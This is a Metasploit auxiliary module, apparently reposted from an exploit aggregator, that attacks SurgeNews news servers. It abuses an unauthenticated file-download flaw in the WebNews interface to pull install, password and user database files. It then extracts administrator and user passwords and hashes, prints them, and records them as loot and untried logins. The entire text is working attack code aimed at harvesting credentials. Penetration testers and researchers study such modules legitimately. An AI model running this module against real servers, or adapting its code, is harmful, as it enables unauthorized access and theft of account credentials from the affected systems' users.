Exploit for SurgeNews User Credentials

## https://sploitus.com/exploit?id=PACKETSTORM:181068
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
HttpFingerprint = { pattern: [ /DManager/ ] }  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SurgeNews User Credentials',  
'Description' => %q{  
This module exploits a vulnerability in the WebNews web interface  
of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated  
users to download arbitrary files from the software root directory;  
including the user database, configuration files and log files.  
  
This module extracts the administrator username and password, and  
the usernames and passwords or password hashes for all users.  
  
This module has been tested successfully on SurgeNews version  
2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.  
},  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'Author' => 'bcoles',  
'DisclosureDate' => '2017-06-16'  
)  
)  
  
register_options [ Opt::RPORT(9080) ]  
end  
  
def max_retries  
3  
end  
  
def check_host(_ip)  
@tries = 0  
res = read_file 'install.log'  
if res =~ /SurgeNews/  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def read_file(file)  
data = nil  
@tries += 1  
vprint_status "Retrieving file: #{file}"  
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),  
'vars_get' => { 'cmd' => 'part', 'fname' => file }  
if !res  
vprint_error 'Connection failed'  
elsif res.code == 550  
vprint_error "Could not find file '#{file}'"  
elsif res.code == 200 && res.body =~ /550 Key: No key activated/  
# unregistered software throws an error once in every ~20 requests  
# try again...  
if @tries >= max_retries  
vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"  
else  
vprint_status 'Retrying...'  
return read_file file  
end  
elsif res.code == 200 && !res.body.empty?  
vprint_good "Found #{file} (#{res.body.length} bytes)"  
data = res.body  
else  
vprint_error 'Unexpected reply'  
end  
@tries = 0  
data  
end  
  
def parse_log(log_data)  
return if log_data.nil?  
  
username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last  
password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last  
{ 'username' => username, 'password' => password }  
end  
  
def parse_user_db(user_data)  
return if user_data.nil?  
  
creds = []  
user_data.lines.each do |line|  
next if line.eql? ''  
  
next unless line =~ /^(.+?):(.*):Groups=/  
  
user = ::Regexp.last_match(1)  
pass = ::Regexp.last_match(2)  
# clear text credentials are prefaced with '*'  
if pass.starts_with? '*'  
creds << { 'username' => user, 'password' => pass[1..] }  
# otherwise its a hash  
else  
creds << { 'username' => user, 'hash' => pass }  
end  
end  
creds  
end  
  
def run_host(_ip)  
@tries = 0  
  
service_data = {  
address: rhost,  
port: rport,  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',  
'Indent' => 1,  
'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']  
  
# Read administrator password from password.log  
admin = parse_log read_file 'password.log'  
# If password.log doesn't contain credentials  
# then the password hasn't been updated since install.  
# Retrieve the credentials from install.log instead.  
admin = parse_log read_file 'install.log' if admin.nil?  
  
if admin.nil?  
vprint_error 'Found no administrator credentials'  
else  
print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"  
cred_table << [admin['username'], admin['password'], nil, true]  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
private_type: :password,  
private_data: admin['password'],  
username: admin['username']  
}  
  
credential_data.merge! service_data  
credential_core = create_credential credential_data  
login_data = {  
core: credential_core,  
access_level: 'Administrator',  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
login_data.merge! service_data  
create_credential_login login_data  
end  
  
# Read user credentials from nwauth.add  
users = parse_user_db read_file 'nwauth.add'  
if users.blank?  
vprint_error 'Found no user credentials in nwauth.add'  
return  
end  
vprint_status "Found #{users.length} users in nwauth.add"  
  
unless users.nil?  
users.each do |user|  
next if user.empty?  
  
cred_table << [user['username'], user['password'], user['hash'], false]  
  
if user['password']  
print_good "Found user credentials (#{user['username']}:#{user['password']})"  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
private_type: :password,  
private_data: user['password'],  
username: user['username']  
}  
else  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
private_type: :nonreplayable_hash,  
private_data: user['hash'],  
username: user['username']  
}  
end  
  
credential_data.merge! service_data  
credential_core = create_credential credential_data  
login_data = {  
core: credential_core,  
access_level: 'User',  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
login_data.merge! service_data  
create_credential_login login_data  
end  
end  
  
print_line  
print_line cred_table.to_s  
  
p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'  
print_good "Credentials saved in: #{p}"  
end  
end